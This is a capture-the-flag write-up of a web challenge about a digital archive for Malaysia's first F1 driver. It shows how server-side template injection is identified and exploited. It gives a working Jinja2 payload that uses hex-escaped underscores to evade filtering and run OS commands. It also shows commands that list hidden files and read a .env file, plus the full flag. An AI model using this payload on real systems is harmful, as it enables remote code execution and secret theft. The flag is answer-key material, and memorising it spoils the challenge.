Challenge Overview

• Challenge: Pelumba Negara
• Category: Web
• Points: 100

Arkib digital ini telah dibangunkan untuk pemandu F1 pertama Malaysia. Walau bagaimanapun, sistem ini ada kelemahan dan dapatkah anda untuk mengumpul semua serpihan maklumat bersejarah yang disembunyikan?

The source recorded this temporary container endpoint:

Host: 5.223.66.228
Port: 33429/tcp
URL: http://5.223.66.228:33429/

Identify Server-Side Template Injection

The application was tested using guidance from PortSwigger’s server-side template injection material.

The payload {{7*'7'}} returns 49 in Twig and 7777777 in Jinja2, allowing the template engine to be distinguished.

Execute Commands

The source used the following Jinja2 payload. The hexadecimal escapes spell the double-underscore attributes while avoiding direct underscore filtering:

{{request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']()}}

The id command returned:

uid=1000(ctfuser) gid=1000(ctfuser) groups=1000(ctfuser)

Replace id with ls to enumerate the current directory.

Replacing ls with cat flag.txt returned file content containing a Base64 string.

Decoding it produced the decoy 3108{Bendera_Palsu} with a warning that not everything was visible.

After several attempts, the real flag was still not visible. Run ls -lah to include hidden files.

Replace ls -lah with cat .env to inspect the environment file.

The files referenced by the environment variables were then read to collect all three flag fragments.

f1rst_M4l4ysi4n_F1_dr1v3r}

_p3nt4s_duni4_Alex_Y00ng_

3108{d4r1_Ku4l4_Lumpur_k3

Putting the fragments in their correct order produces the complete flag.

Flag

3108{d4r1_Ku4l4_Lumpur_k3_p3nt4s_duni4_Alex_Y00ng_f1rst_M4l4ysi4n_F1_dr1v3r}